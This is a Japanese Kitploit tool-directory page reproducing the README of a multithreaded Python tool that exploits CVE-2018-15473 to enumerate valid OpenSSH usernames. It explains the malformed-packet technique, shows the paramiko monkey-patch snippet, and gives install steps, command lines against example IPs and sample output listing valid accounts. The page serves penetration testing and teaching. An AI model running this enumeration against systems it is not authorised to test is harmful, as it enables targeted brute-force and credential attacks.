Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Threaded-CVE-2018-15473 — 定番のCVE-2018-15473 OpenSSHユーザー列挙エクスプロイトをPython 3で再実装したツール。マルチスレッド、ワードリストサポート、自動脆弱性検出、スレッドセーフなエクスプロイトパッチ適用を備えています。 | Kitploit
ツール/GitHubGitHub/k3rn3l-32/threaded-cve-2018-15473
偵察脆弱性分析エクスプロイト情報収集ペネトレーションテスト学習と教育
GitHubk3rn3l-32/threaded-cve-2018-15473

Threaded-CVE-2018-15473

定番のCVE-2018-15473 OpenSSHユーザー列挙エクスプロイトをPython 3で再実装したツール。マルチスレッド、ワードリストサポート、自動脆弱性検出、スレッドセーフなエクスプロイトパッチ適用を備えています。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
25ヶ月前未レビュー

CVE-2018-15473 — SSHユーザー名列挙ツール

古典的なCVE-2018-15473 OpenSSHユーザー列挙エクスプロイトをPython 3で再実装したもので、マルチスレッド、ワードリスト対応、自動脆弱性検出、スレッドセーフなエクスプロイトパッチを追加しています。


目次

  • 脆弱性について
  • エクスプロイトの仕組み
  • 特徴
  • 要件
  • インストール
  • 使用方法
  • 使用例
  • クレジットと原著研究
  • 免責事項

脆弱性について

CVE-2018-15473 は、OpenSSHバージョン 2.3〜7.7 に影響を与えるユーザー列挙の脆弱性です。

この脆弱性は、OpenSSHサーバーが有効なユーザー名と無効なユーザー名に対する認証試行に応答する方法の微妙な違いに起因します。不正な公開鍵認証パケットを細工することで、攻撃者はサーバーの動作を観察し、ユーザーのパスワードを知らなくても、特定のユーザー名がシステム上に存在するかどうかを判断できます。

この情報は、標的型ブルートフォース攻撃やクレデンシャルスタッフィング攻撃において、重要な最初のステップとなり得ます。

詳細値
CVE IDCVE-2018-15473
影響を受けるバージョンOpenSSH 2.3 – 7.7
CVSSスコア5.3(中)
種類情報漏えい / ユーザー列挙
認証要件なし

エクスプロイトの仕組み

OpenSSHの認証フローは通常、次のように動作します:

root@kitploit:~
Client → MSG_SERVICE_REQUEST  → Server
Client ← MSG_SERVICE_ACCEPT   ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server

このエクスプロイトは MSG_SERVICE_ACCEPT 段階を悪用します。サーバーが MSG_SERVICE_ACCEPT を返信すると、クライアントは後続の MSG_USERAUTH_REQUEST パケットにブール値フィールドを追加することになっています。paramikoの Message.add_boolean メソッドをno-opにパッチすることで、このツールは不正な(または切り詰められた)認証パケットを送信します。

OpenSSHサーバーは、ユーザー名が存在するかどうかに応じて異なる動作をします:

  • 無効なユーザー名 → サーバーは即座に MSG_USERAUTH_FAILURE で拒否します(ユーザー名が存在しないため、鍵を確認する意味がない)
  • 有効なユーザー名 → サーバーは AuthenticationException を発生させます(鍵の検証を試みるため、ユーザーが存在することが確認される)

このツールは、パッチされたparamikoハンドラー(_parse_userauth_failure と _parse_service_accept)を介してこれら2つの応答を傍受し、各ユーザー名をそれに応じて分類します。

スレッドセーフティの修正

元のPoCは add_boolean を恒久的にパッチするため、複数のスレッドが同時に実行されるとレースコンディションが発生します。スレッドが互いのハンドシェイクに干渉し、誤った SSH negotiation failed エラーが発生します。この再実装では、パッチを threading.Lock() でラップし、交換をアトミックにしています:

root@kitploit:~
with _patch_lock:
    real_add_boolean = paramiko.message.Message.add_boolean
    paramiko.message.Message.add_boolean = _add_boolean_noop
    try:
        result = original_service_accept(auth_handler, m)
    finally:
        paramiko.message.Message.add_boolean = real_add_boolean

特徴

  • 単一ユーザー名チェック — 素早いワンショットモード
  • ワードリストモード — ユーザー名の全リストを列挙
  • マルチスレッド対応 — スレッド数を設定可能、すべてスレッドセーフ
  • 自動脆弱性検出 — スキャン前に nmap を使用して、対象が脆弱なOpenSSHバージョンを実行しているか検証
  • 重複排除 — ワードリストから重複したユーザー名を自動的に削除
  • クリーンな出力 — 色分けされた結果とサマリーレポート

要件

  • Python 3.8以上
  • paramiko
  • python-nmap
  • nmap(システムバイナリ、インストール必須)

インストール

root@kitploit:~
git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473

# Create and activate a virtual environment (recommended)
python3 -m venv venv
source venv/bin/activate

# Install dependencies
pip install paramiko python-nmap

システムに nmap がインストールされていることを確認してください:

root@kitploit:~
# Debian/Ubuntu/Kali
sudo apt install nmap

使用方法

root@kitploit:~
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target

positional arguments:
  target                Target IP address

options:
  -h, --help            show this help message and exit
  -p, --port PORT       SSH port (default: 22)
  -t, --threads THREADS Threads for wordlist mode (default: 3)
  -u USERNAME           Single username to check
  -U WORDLIST           Path to wordlist file

使用例

単一ユーザー名をチェックする:

root@kitploit:~
python main.py 192.168.1.10 -u root

デフォルトのスレッド数でワードリストを列挙する:

root@kitploit:~
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt

カスタムのスレッド数とポートで列挙する:

root@kitploit:~
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222

出力例:

root@kitploit:~
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473

[*] Loaded   : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target   : 192.168.56.109:22
[*] Threads  : 10

  [+] root     <- VALID
  [+] service  <- VALID
  [-] guest
  [-] admin
  ...

─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked  : 12 usernames
[*] Threads  : 10

[+] Valid    (2)  : ['root', 'service']
[-] Invalid  (8)
[!] Errors   (2)  : ['postgres', 'temp']

クレジットと原著研究

このツールは、元の概念実証(PoC)エクスプロイトのPython 3による再実装および拡張です。この脆弱性の発見と文書化に対するすべての功績は、元の研究者に帰属します:

役割名前 / ハンドル

元のエクスプロイト:https://leapsecurity.io

この再実装では以下を追加しています:

  • Python 3互換性(元はPython 2)
  • スレッドセーフなエクスプロイトパッチ(レースコンディションの修正)
  • マルチスレッド対応のワードリストモード
  • nmapベースの自動脆弱性検出
  • 構造化された結果レポート

免責事項

このツールは教育目的および許可を得たペネトレーションテスト専用です。
自分が所有していない、または明示的な書面によるテスト許可を得ていないシステムに対してこのツールを使用することは違法であり非倫理的です。
著者は本ソフトウェアの誤用について一切の責任を負いません。
常に責任ある情報開示を実践してください。

ツールをダウンロード
元のPoC著者Leap Security (@LeapSecurity)
脆弱性研究Matthew Daley
脆弱性研究Justin Gardner
脆弱性研究Lee David Painter